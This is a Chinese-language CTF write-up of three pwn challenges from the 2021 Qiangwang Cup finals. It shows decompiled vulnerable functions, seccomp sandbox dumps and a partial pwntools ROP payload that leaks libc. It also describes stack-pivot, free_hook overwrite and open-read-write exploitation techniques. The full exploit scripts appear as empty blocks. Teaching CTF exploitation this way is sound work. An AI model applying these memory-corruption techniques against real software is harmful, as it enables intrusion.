强网杯总决赛 2021
国内最受瞩目的比赛之一,拥有几乎最高的PWN/realworld赛题质量。
比赛时看了几道cold down, EXSI找到了洞但是不好复现…
- easy_go
- vmnote
- s2a
- 强网先锋
- EXSI (Real World)
rank 3 with AAA
强网先锋
详见前文
easy_go
overall
栈上有明显的off-by-null漏洞,可以修改rbp的低字节,通过两次leave ret来做stack-pivot.
__int64 __fastcall sub_4015AB(__int64 a1, int a2) //vul_read()
{
unsigned int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; (int)i < a2; ++i )
{
if ( read(0, (void *)((int)i + a1), 1uLL) <= 0 )
{
puts("read error");
exit(0);
}
if ( *(_BYTE *)((int)i + a1) == 10 )
break;
}
*(_BYTE *)((int)i + a1) = 0; // off-by-one
return i;
}
同时题目开启sandbox,只允许orw
x1do0@x1do0:/mnt/hgfs/linux_share/qwb_final/easy_go$ seccomp-tools dump ./easy_go
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x0000000f if (A != rt_sigreturn) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0014
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0014: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0016
0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0016: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0018
0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0018: 0x15 0x00 0x01 0x0000000c if (A != brk) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x06 0x00 0x00 0x00000000 return KILL
Tips
赛题环境ubuntu20.04,建议同版本调试
x1do0@x1do0:/mnt/hgfs/linux_share/qwb_final/easy_go$ diff /usr/lib/x86_64-linux-gnu/libc-2.31.so ./libc-2.31.so
x1do0@x1do0:/mnt/hgfs/linux_share/qwb_final/easy_go$
调试时别忘了打开系统aslr
Details
由于栈随机化现象,需要多尝试几次,在某一次可以跑到如下RSP与RBP,看到RBP正好成了用户可控区域。
此时直接调用vul_read(),十分幸运地是此时rdi与rsi都是合法的,同时rdi正好在当前栈附件,rsi也足够大。
|
|
接下来就是ROP了,并且溢出大小完全够用,我们选择溢出修改这次调用的vul_read()的返回地址。
以下payload便是第一轮ROP链,能通过stdout地址leak libc并重新返回到main函数进行下一次ROP。
p.sendafter("client send >> ", "A" * 0x10)
p.sendafter("continue?(0:no, 1:yes): ", p64(0x404500) + p64(0x40168d))
pop_rsi_r15 = 0x4017a1 # pop rsi ; pop r15 ; ret
pop_rdi = 0x4017a3 # pop rdi ; ret
printf_plt = 0x401100
stdout = 0x404020
empty_ret = 0x40101a
main_fucntion = 0x4016CF
padding = 0x8
payload = b"A" * padding
payload += flat([pop_rdi, stdout, empty_ret, printf_plt])
payload += p64(empty_ret) + p64(main_fucntion)
# sleep(1)
p.sendline(payload)
最终exp如下,需要多跑几次
|
|
s2a
Overall
这是一个svg解析器(语法类似于xml),可以将用户输入的svg文件解析并打印出图像。
'1. New picture.\n'
'2. Show picture.\n'
'3. Delete picture.\n'
漏洞点在于没有边界检查,在show功能中有以下代码片段,会将所有<path>标签依次解析,找到其指定的位置,赋予颜色。buf为二维动态数组,两个维度的idx都没有大小检测,使利用变得简单。
do
{
if ( (v7->type & 0xFD) == 4 )
{
v8 = (path_attr *)v7->attr;
if ( v8 )
{
v9 = (path_node *)v8->path;
if ( v8->path )
{
color = v8->stroke_color;
buf[v9->x][v9->y + 1] = color; // forget to check x, y
for ( ptr = v9->next; ptr; buf[next_x][next_y + 1] = color )
{
next_x = ptr->x;
next_y = ptr->y;
ptr = ptr->next;
}
}
}
}
v7 = v7->end_node;
}
while ( v7 );
Details
该二维数组由malloc再malloc实现,只要在堆上找到buf后面的libc相关地址(比如free过的unsorted bin地址),在一维解析时就可以弄到libc那边,再在二维解析时调整偏移。由于颜色是用户可控的,所以可以在libc地址进行任意次任意地址写。
buf = (char **)malloc(8 * v3);
if ( (_DWORD)v3 )
{
i = 0LL;
*buf = (char *)malloc(cvs_width + 2);
...
可以先修改stdout的write_base来泄露libc地址,然后改free_hook为system地址提权。
exp如下(ubt20.04,原题版本18.04)
|
|
/test.svg
|
|
/test2.svg
|
|
/test3.svg
|
|
/test4.svg
|
|
vmnote
Overall
vmpwn,实现了自己的指令集,并且在note.bin中用自己的指令集写了一个菜单。但漏洞不在菜单里,还是在指令上。在读size或者读idx的时候会有一个off-by-null,在虚拟机内部导致覆盖rbp低字节。
Details
只允许orw
x1do0@x1do0:~/linux_share/qwb_final/vmnote/vmnote$ seccomp-tools dump ./vmnote
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x0000000f if (A != rt_sigreturn) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0014
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0014: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0016
0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0016: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0018
0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0018: 0x15 0x00 0x01 0x0000000c if (A != brk) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x06 0x00 0x00 0x00000000 return KILL
先提取解析note.bin的指令内容
|
|
得到note.bin的指令,改成常用的寄存器并做一些处理。
|
|
最终得到note.bin的虚拟汇编
|
|
这里尝试过用asm汇编以后在ida里用F5看,但是还是很难看,遂作罢。后面只能看汇编了。。
off-by-null后两次leave ret导致rop,虚拟机内部的rop即是虚拟机外部的堆溢出,改free_hook为setcontext,在堆上布置好以后即可orw.
|
|
Tips
这题有亿点麻烦,由于栈的随机化脸黑的话很难调,但是由于是虚拟指令模拟的栈,所以可以考虑将rand patch掉以便调试。